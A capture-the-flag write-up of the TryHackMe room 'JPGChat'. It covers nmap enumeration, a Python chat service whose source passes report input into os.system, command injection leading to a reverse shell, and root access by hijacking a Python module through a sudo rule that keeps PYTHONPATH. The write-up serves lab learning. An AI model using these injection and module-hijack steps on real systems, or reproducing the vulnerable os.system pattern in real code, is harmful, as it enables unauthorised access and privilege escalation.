JPGChat — TryHackMe

This is the write-up TryHackMe’s room named JPGChat. This room is rated Easy and from the room’s description given we have to Exploit poorly made custom chatting service written in a certain language.The language certainly looks to be Python from the room’s logo. Task is to get both the user and root flags. As always start the enumeration process by running NMAP scans.
Enumeration
NMAP
# Identify the list of services running on the target machine
⇒ sudo nmap -sS -Pn -T4 -p- 10.10.56.110
┌──(kali㉿kali)-[/tmp]
└─$ sudo nmap -sS -Pn -T4 -p- 10.10.56.110 130 ⨯
Host discovery disabled (-Pn). All addresses will be marked 'up' and scan times will be slower.
Starting Nmap 7.91 ( https://nmap.org ) at 2021-02-28 14:25 EST
Nmap scan report for 10.10.56.110
Host is up (0.021s latency).
Not shown: 65533 closed ports
PORT STATE SERVICE
22/tcp open ssh
3000/tcp open ppp
# Perform further information gathering on the open ports identified above
⇒ sudo nmap -O -A -Pn -T4 -p22,3000 10.10.56.110
┌──(kali㉿kali)-[/tmp]
└─$ sudo nmap -O -A -Pn -T4 -p22,3000 10.10.56.110
Host discovery disabled (-Pn). All addresses will be marked 'up' and scan times will be slower.
Starting Nmap 7.91 ( https://nmap.org ) at 2021-02-28 14:31 EST
Nmap scan report for 10.10.56.110
Host is up (0.025s latency).PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.10 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 fe:cc:3e:20:3f:a2:f8:09:6f:2c:a3:af:fa:32:9c:94 (RSA)
| 256 e8:18:0c:ad:d0:63:5f:9d:bd:b7:84:b8:ab:7e:d1:97 (ECDSA)
|_ 256 82:1d:6b:ab:2d:04:d5:0b:7a:9b:ee:f4:64:b5:7f:64 (ED25519)
3000/tcp open ppp?
| fingerprint-strings:
| GenericLines, NULL:
| Welcome to JPChat
| source code of this service can be found at our admin's github
| MESSAGE USAGE: use [MESSAGE] to message the (currently) only channel
|_ REPORT USAGE: use [REPORT] to report someone to the admins (with proof)Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Aggressive OS guesses: Linux 3.10 - 3.13 (95%), Linux 5.4 (95%), ASUS RT-N56U WAP (Linux 3.4) (95%), Linux 3.16 (95%), Linux 3.1 (93%), Linux 3.2 (93%), AXIS 210A or 211 Network Camera (Linux 2.6.17) (92%), Sony Android TV (Android 5.0) (92%), Android 5.0 - 6.0.1 (Linux 3.4) (92%), Android 5.1 (92%)
No exact OS matches for host (test conditions non-ideal).
Network Distance: 2 hops
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernelTRACEROUTE (using port 22/tcp)
HOP RTT ADDRESS
1 25.52 ms 10.8.0.1
2 25.61 ms 10.10.56.110OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 11.61 seconds
Two Ports are open:
- SSH on Port 22 which has a relatively newer version with no know vulnerability.
- A Service named JPChat on Port 3000. This looks interesting, so let’s explore this further.
JPChat
Tried the following things to access this service:
- Opened JPChat on a webpage with port 3000, but was not able to interact with the service.
- Used Burp suite to intercept the request but there was no response.
- Finally connected with JPChat on port 3000 using netcat and was able to interact with it with option [REPORT] and got admin’s name as show below:

As the welcome message said that admin has a Github page, so searched github.com for “Mozzie-jpg” and found the code repository for JPChat here:
The chat service code is in the file jpchat.py:
#!/usr/bin/env python3
import os
print ('Welcome to JPChat')
print ('the source code of this service can be found at our admin\'s github')
def report_form():
print ('this report will be read by Mozzie-jpg')
your_name = input('your name:\n')
report_text = input('your report:\n')
os.system("bash -c 'echo %s > /opt/jpchat/logs/report.txt'" % your_name)
os.system("bash -c 'echo %s >> /opt/jpchat/logs/report.txt'" % report_text)
def chatting_service():
print ('MESSAGE USAGE: use [MESSAGE] to message the (currently) only channel')
print ('REPORT USAGE: use [REPORT] to report someone to the admins (with proof)')
message = input('')
if message == '[REPORT]':
report_form()
if message == '[MESSAGE]':
print ('There are currently 0 other users logged in')
while True:
message2 = input('[MESSAGE]: ')
if message2 == '[REPORT]':
report_form()
chatting_service()
It is pretty clear that [REPORT] is vulnerable to os command injection as system call is used and we can control the input.Let’s check this by injecting a simple id
command:

And yes we can see a user wes with uid
of 1001. Now let’s inject a reverse shell code after staring a netcat listener on attacking kali machine:

Yes we got the reverse shell and also the user.txt in /home/wes:

Upgrade the shell which we got by running the following commands:
python3 -c ‘import pty;pty.spawn(“/bin/bash”)’
control+z to background
stty raw -echo
fg
export TERM=xterm
Now it is much easier to move around the file system, clear screen etc.
Privilege Escalation
Running sudo -l
gives the following output:

So it is possible to run /opt/development/test_module.py
as root. Let’s have a look at this python script:
wes@ubuntu-xenial:~$ cat /opt/development/test_module.py
#!/usr/bin/env python3from compare import *print(compare.Str('hello', 'hello', 'hello'))
Well it looks like that we can do our privilege escalation using python module hijacking as this script is importing compare library .We can write a dummy compare.py in /home/wes
(as we have write permissions here) which will just spawn a new shell. Also we will point the PYTHONPATH to /home/wes
, as sudo -l
had shown that environment variable will be kept. This is how compare.py will look like:
wes@ubuntu-xenial:~$ cat compare.py
import os
os.system("/bin/bash")
Now run the following to get the root shell:
export PYTHONPATH=”/home/wes”; sudo /usr/bin/python3 /opt/development/test_module.py

We got the root shell and the root flag in /root/root.txt
That it. Nice room demonstrating us what not to do while writing python programs.